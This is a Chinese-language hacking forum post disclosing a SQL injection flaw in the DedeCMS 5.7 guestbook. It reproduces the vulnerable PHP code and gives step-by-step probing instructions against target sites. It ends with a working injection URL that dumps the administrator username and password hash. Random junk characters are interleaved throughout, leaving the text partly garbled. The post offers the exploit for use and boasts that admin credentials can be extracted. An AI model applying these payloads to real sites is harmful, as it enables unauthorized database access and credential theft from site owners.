找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 4057|回复: 0
打印 上一主题 下一主题

dedecms5.7最新sql注射漏洞利用 guestbook.php

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-13 13:24:11 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
影响版本为5.7
, {: H  F: Y3 C7 ^* \) ~( w+ [3 c8 A; T
漏洞文件edit.inc.php具体代码:
; p+ F6 [' j, E9 S% S+ ^& n4 Q" J$ [! ~  S* Z! |6 v4 D9 c. w
< ?php  
- |9 I- k* L8 D) w/ a  q5 X$ @& K, F4 |, T
if(!defined('DEDEINC')) exit('Request Error!');  
$ }5 G% g2 K& y+ L6 @" O  K
. r8 R" w( E* `6 L: Q, _' O   
; H# y; \  u1 e1 C) K* d# y( ^: @6 g
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];    @- |( f" W0 S0 D0 |
& Z2 q. a& b; }) Q
else $GUEST_BOOK_POS = "guestbook.php";  
* U( N8 G4 h( b1 j4 |# d
2 T" N4 R5 I, r   / {0 s; x1 [! ~# {$ A9 g- b

% h: @' h* `0 j$id = intval($id);  ; w' `8 r* Q- I. b; y" t5 |

2 a  M" d! R4 r6 G& p/ ^9 dif(empty($job)) $job='view';  8 r: x$ E7 H3 P

; a4 D0 x, @& T+ R" }   . `5 T3 Y( v: S

; T) R5 B. E9 R1 ?) B3 Pif($job=='del' && $g_isadmin)  + K) H$ i$ _+ W6 q; ]% [  t* V
! }3 p% E* G. L* O! ?! i0 d) ~) I
{  1 k9 _3 K! n8 Z( S7 t( H0 ~
& C- |5 w$ \5 x/ R1 Y* c# \
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  & W: s, N7 }: {. L0 Z
  W0 `: {+ F0 V
ShowMsg("成功删除一条留言!", $GUEST_BOOK_POS);  
! l( d& X# P( t4 Y
* i/ m$ O' t6 m5 Kexit();  
4 S% I8 ^2 c5 n4 H+ E- G' p1 d& p( L6 U1 U1 H7 _% |9 ~
}  
; _. x1 Y: _+ j" ?: B" ^" w, m: j! d0 q& u! m; s
else if($job=='check' && $g_isadmin)  
( T3 ^! {6 ?6 y+ p4 n) i
: k  M7 A8 b, G6 h% D{  
& i8 \3 I' B9 o' ?7 y- ~2 a8 G1 p) ]8 r6 V$ d& o0 A5 r
$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
6 a, H: O% u; ~; R. [1 Z: l& g. R4 C, p; U
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);    j/ K5 c+ S, w3 V8 P: b

2 T, f' {3 N3 j0 x$ y9 K: xexit();  
3 D4 H5 M+ g% b% H* d3 F/ D6 c8 u( [  S, P
}  5 q/ Q( Y% J. i; B7 W- Q1 }, T

+ N3 v4 `$ y% I1 C( Felse if($job=='editok')  
& a2 u8 X: Q! P% R% X; q" U* a* P" X0 ^2 i5 J4 Z
{    S! h; Q8 {; q# G& ]5 U" X( ^

! k" a5 u3 p1 z5 ?' a# b$remsg = trim($remsg);  $ J! r, Z) f- x: V
! m; r3 a* R5 ?3 x0 ^$ I
if($remsg!='')  ; W; j! E$ ?: e( i& D% F
( U$ S% K! z5 I
{  
! G# ?4 Q8 P8 H$ R$ M/ R: Q) W, ]+ t5 i1 @7 t9 G
//管理员回复不过滤HTML By:Errorera blog:errs.cc  
" ]7 Y5 D% k" {# J! h, P! g0 q0 \9 Z, @; @3 R& i$ R
if($g_isadmin)  
% I3 K& a: F$ P4 v, C
9 I( G% J- ^( b2 V{  
0 E' `) Z! r3 P) K0 s% J. T1 `
) d/ @8 G( I+ o8 X( _. I3 u; y$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
$ B1 v6 O# X' _* ^1 W8 ]8 X/ @  Y- ]) O  x' C
//$remsg <br /><font color=red>管理员回复:</font> }  * L7 l( b: ~0 ]: j/ o) g' I1 K- C* C
7 Q$ G  Q; A2 g% W! J8 z5 j9 \4 p
else - i/ c) ?3 Z5 U2 o6 ]% A& f
4 U% p2 f. D# K- c8 g
{  $ Q; C( A, U) C2 |; P- k' U

/ b9 D: Z$ O9 Z$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  . [- ^  g) f! }. \3 v5 D. a

+ H" B5 K2 m3 v6 I) f: v. p$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  & Q" b& B: G: \1 P
  B* }5 r) W  L; i- g: M% r+ c
$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  - T7 x0 ^5 D; A

: B3 G& k$ }4 Y# ~$msg = $oldmsg.$remsg;  
# T9 y$ g$ ?- O! R, k7 P9 p, u6 y' z$ h! C9 y
}  ! D8 s( b' s% d; ^0 [

3 u4 s+ W9 {) X) I  g" ~* n}  
  x* [8 F4 D, \6 n0 R* h
' L* p- X8 ?& j0 H# J  K4 Q9 O* {( T//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc  2 }& a" S' ]; g2 u. y

$ X1 G. p$ z/ j4 \$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
# T1 T4 d- Q& T6 u- {$ r3 [7 a5 F- |
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS);  
7 d" `. a$ T% M6 E) s3 v' K/ r( W- T7 U, U- C( \; y
exit();  5 e! J- f( f. ]5 i' t
) V9 o# p. Y7 ~# R, p: S; g# k3 t9 j/ i
}  
1 @& U6 S6 _! H' O3 y6 h$ S; g& s+ S2 k; n9 {  J' L2 ?* s0 D0 C
//home:www.errs.cc  
. B+ i' O$ m& ]+ `4 ^" W% J
9 }' S' i7 Y0 ~# lif($g_isadmin)  7 {. f5 q2 m( R) h
+ ?& g5 p; ], y
{  
$ d# P, I5 p' K( ^' J. S# l
' z6 h; g& Y/ B$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  $ R6 M  h  s( }1 N( F) U  [0 ?
4 Q% C$ j+ i& {  X0 A
require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  
* Z0 J. d' E* M/ C) g$ o8 {  a
1 P) Q, c; X- v$ X- T}  
7 p8 t+ }$ b& F4 P. ]  \' Z. m; z6 j- v4 O; J4 @
else
4 o5 e9 \- B6 I% c3 w8 x7 O5 `. P
' A7 `6 h$ e: B9 t7 e. G( Q; O& k- t{  
0 l6 k- V7 {* P2 j2 j( B6 E) @3 t- s0 y
$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
" H5 R( p, O: t. ]( f% {; [( N
* I) f6 Z6 S* [require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  $ \, M; x, T& a* s! ?

5 w) ~$ ^" J6 |7 u2 g4 f} 漏洞成功需要条件:% H9 ~. V' Y( N' v! w4 y
1. php magic_quotes_gpc=off( h+ l" A/ r, g9 V  }
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。
2 e, e: y1 r; k/ j
$ ?! Y& ]5 Y) Z% J; C- Z怎么判断是否存在漏洞:
: X: K6 v' v* H7 c2 [, @先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
+ X5 p- K" h0 i, C. {4 m0 u5 @+ M然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
8 T! D) o' y% g" ^& @访问:
4 l8 j# j" X) n) w# \+ {
9 [# Q+ m% S7 O7 A8 [www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了3 {/ R1 G3 A- W) p. b, |8 f
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证; B/ l5 H& H! r( K
$ Z8 Y. S0 `9 S" p( a1 Z; x8 H6 k
) \" l. Q9 \8 y' D+ `3 r3 p
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off! b3 k# H/ C; y
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。; G# U( J8 m5 d- W0 V3 _3 {. D) n
那么再次访问
$ j% d6 I6 L0 v# l# Y
% X( X" j! Y  z9 [/ Gwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().4 ^5 ~9 R% ?0 J) B/ W% F

' G8 F/ [% T' ?3 K* I% T大概利用就是这样,大家有兴趣的多研究下!!
. l; A/ k) j0 t' P. o" u* K( e0 T+ H& I5 r1 k
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!
$ M- E; j, w4 k; b5 b# V0 s. l$ k# U. r" _. Q: l& y
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表